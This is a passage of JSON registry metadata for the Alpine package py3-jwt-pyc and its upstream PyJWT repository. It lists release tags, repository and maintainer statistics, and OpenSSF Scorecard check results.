arsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:35.599Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:apk/alpine/py3-jwt-pyc?arch=x86_64\u0026repository_url=https://pkgs.alpinelinux.org/packages?branch=v3.21","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/alpine/py3-jwt-pyc","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/alpine/py3-jwt-pyc","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/alpine/py3-jwt-pyc/dependencies","status":null,"funding_links":["https://github.com/sponsors/jpadilla"],"critical":null,"issue_metadata":{"last_synced_at":"2026-05-24T15:00:28.878Z","issues_count":159,"pull_requests_count":289,"avg_time_to_close_issue":11297445.848214285,"avg_time_to_close_pull_request":2246869.7172131147,"issues_closed_count":112,"pull_requests_closed_count":243,"pull_request_authors_count":81,"issue_authors_count":155,"avg_comments_per_issue":3.842767295597484,"avg_comments_per_pull_request":0.8304498269896193,"merged_pull_requests_count":199,"bot_issues_count":2,"bot_pull_requests_count":101,"past_year_issues_count":25,"past_year_pull_requests_count":77,"past_year_avg_time_to_close_issue":6701487.111111111,"past_year_avg_time_to_close_pull_request":1291611.0,"past_year_issues_closed_count":9,"past_year_pull_requests_closed_count":44,"past_year_pull_request_authors_count":25,"past_year_issue_authors_count":24,"past_year_avg_comments_per_issue":2.64,"past_year_avg_comments_per_pull_request":0.38961038961038963,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":34,"past_year_merged_pull_requests_count":41,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/issues","maintainers":[{"login":"auvipy","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}],"active_maintainers":[{"login":"auvipy","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/auvipy"},{"login":"jpadilla","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jpadilla"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-jwt-pyc/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-jwt-pyc/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-jwt-pyc/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-jwt-pyc/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-jwt-pyc/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages/py3-jwt-pyc/codemeta","maintainers":[{"uuid":"michal@polanski.me","login":null,"name":"Michał Polański","email":null,"url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","packages_count":351,"html_url":"https://pkgs.alpinelinux.org/packages?maintainer=Michał Polański","role":null,"created_at":"2024-12-09T14:06:10.568Z","updated_at":"2024-12-09T14:06:10.568Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers/michal@polanski.me/packages"}],"registry":{"name":"alpine-v3.21","url":"https://pkgs.alpinelinux.org/packages?branch=v3.21","ecosystem":"alpine","default":false,"packages_count":25393,"maintainers_count":413,"namespaces_count":2,"keywords_count":3612,"github":"alpinelinux","metadata":{"repos":["main","community"],"funded_packages_count":1270},"icon_url":"https://github.com/alpinelinux.png","created_at":"2024-12-06T12:06:36.014Z","updated_at":"2026-06-10T05:18:33.774Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/alpine-v3.21/namespaces"}},{"id":10344707,"name":"py3-jwt-pyc","ecosystem":"alpine","description":"Precompiled Python bytecode for py3-jwt","homepage":"https://github.com/jpadilla/pyjwt","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/jpadilla/pyjwt","keywords_array":[],"namespace":"community","versions_count":1,"first_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_published_at":"2024-04-12T09:59:22.000Z","latest_release_number":"2.8.0-r1","last_synced_at":"2026-03-22T04:12:13.971Z","created_at":"2024-06-11T10:02:49.973Z","updated_at":"2026-05-29T04:00:35.734Z","registry_url":"https://pkgs.alpinelinux.org/package/v3.20/community/x86_64/py3-jwt-pyc","install_command":"apk add py3-jwt-pyc","documentation_url":null,"metadata":{"repository":"community","architecture":"x86_64"},"repo_metadata":{"id":1396960,"uuid":"1408162","full_name":"jpadilla/pyjwt","owner":"jpadilla","description":"JSON Web Token implementation in Python","archived":false,"fork":false,"pushed_at":"2026-05-18T22:10:19.000Z","size":1229,"stargazers_count":5660,"open_issues_count":52,"forks_count":756,"subscribers_count":59,"default_branch":"master","last_synced_at":"2026-05-19T00:41:40.142Z","etag":null,"topics":["hacktoberfest","jwt","python"],"latest_commit_sha":null,"homepage":"https://pyjwt.readthedocs.io","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":"jondot/padrino-warden","license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jpadilla.png","metadata":{"files":{"readme":"README.rst","changelog":"CHANGELOG.rst","contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":"AUTHORS.rst","dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jpadilla"]}},"created_at":"2011-02-24T20:25:09.000Z","updated_at":"2026-05-15T21:30:33.000Z","dependencies_parsed_at":"2025-11-13T02:02:14.919Z","dependency_job_id":null,"html_url":"https://github.com/jpadilla/pyjwt","commit_stats":{"total_commits":666,"total_committers":140,"mean_commits":4.757142857142857,"dds":0.7777777777777778,"last_synced_commit":"d8b12421654840418fd25b86553795c0c09ed0a9"},"previous_names":["progrium/pyjwt"],"tags_count":48,"template":false,"template_full_name":null,"purl":"pkg:github/jpadilla/pyjwt","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/sbom","scorecard":{"id":316997,"data":{"date":"2025-08-11","repo":{"name":"github.com/jpadilla/pyjwt","commit":"f2d0ebe7ec6d95cf92d958f9fcbd60ba1911cd3d"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":7.5,"checks":[{"name":"Code-Review","score":8,"reason":"Found 12/15 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Maintained","score":10,"reason":"11 commit(s) and 3 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: topLevel 'contents' permission set to 'read': .github/workflows/enforce-changelog-entry.yml:8","Warn: no topLevel permission defined: .github/workflows/main.yml:1","Info: topLevel 'contents' permission set to 'read': .github/workflows/pypi-package.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:26: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:44: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/main.yml:58: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:70: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/main.yml:97: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/main.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:27: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:49: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:63: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/pypi-package.yml:69: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/pypi-package.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/stale.yml:15: update your workflow using https://app.stepsecurity.io/secureworkflow/jpadilla/pyjwt/stale.yml/master?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:36","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:37","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:51","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:77","Warn: pipCommand not pinned by hash: .github/workflows/main.yml:104","Info:   0 out of  11 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   5 third-party GitHubAction dependencies pinned","Info:   0 out of   5 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":10,"reason":"project is fuzzed","details":["Info: OSSFuzz integration found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Packaging","score":10,"reason":"packaging workflow detected","details":["Info: Project packages its releases by way of GitHub Actions.: .github/workflows/pypi-package.yml:34"],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"SAST","score":5,"reason":"SAST tool is not run on all commits -- score normalized to 5","details":["Warn: 16 commits out of 27 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-18T00:25:46.882Z","repository_id":1396960,"created_at":"2025-08-18T00:25:46.882Z","updated_at":"2025-08-18T00:25:46.882Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33197524,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-18T09:27:30.708Z","status":"ssl_error","status_checked_at":"2026-05-18T09:27:28.300Z","response_time":71,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jpadilla","name":"José Padilla","uuid":"83319","kind":"user","description":"@auth0 + @filepreviews ","email":"hello@jpadilla.com","website":"https://jpadilla.com","location":"Hartford, CT","twitter":"jpadilla_","company":"@auth0 ","icon_url":"https://avatars.githubusercontent.com/u/83319?v=4","repositories_count":230,"last_synced_at":"2025-11-23T03:17:15.931Z","metadata":{"has_sponsors_listing":true},"html_url":"https://github.com/jpadilla","funding_links":["https://github.com/sponsors/jpadilla"],"total_stars":12101,"followers":1389,"following":419,"created_at":"2022-11-02T16:29:26.720Z","updated_at":"2025-11-23T03:17:15.932Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jpadilla/repositories"},"tags":[{"name":"2.13.0","sha":"7144e4534c34810f4525dc4578a32addd8212cff","kind":"commit","published_at":"2026-05-21T19:34:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.13.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.13.0/manifests"},{"name":"2.12.1","sha":"a4e1a3d1218b01c5806420b8f16d9308ac4adc30","kind":"commit","published_at":"2026-03-13T18:41:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.1/manifests"},{"name":"2.12.0","sha":"bd9700cca7f9258fadcc429c1034e508025931f2","kind":"commit","published_at":"2026-03-12T17:08:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.12.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.12.0/manifests"},{"name":"2.11.0","sha":"697344d25990641b8b2aa85f0a60634b590b5702","kind":"commit","published_at":"2026-01-30T18:44:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.11.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.11.0/manifests"},{"name":"2.10.1","sha":"3ebbb22f30f2b1b41727b269a08b427e9a85d6bb","kind":"commit","published_at":"2024-11-28T03:30:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000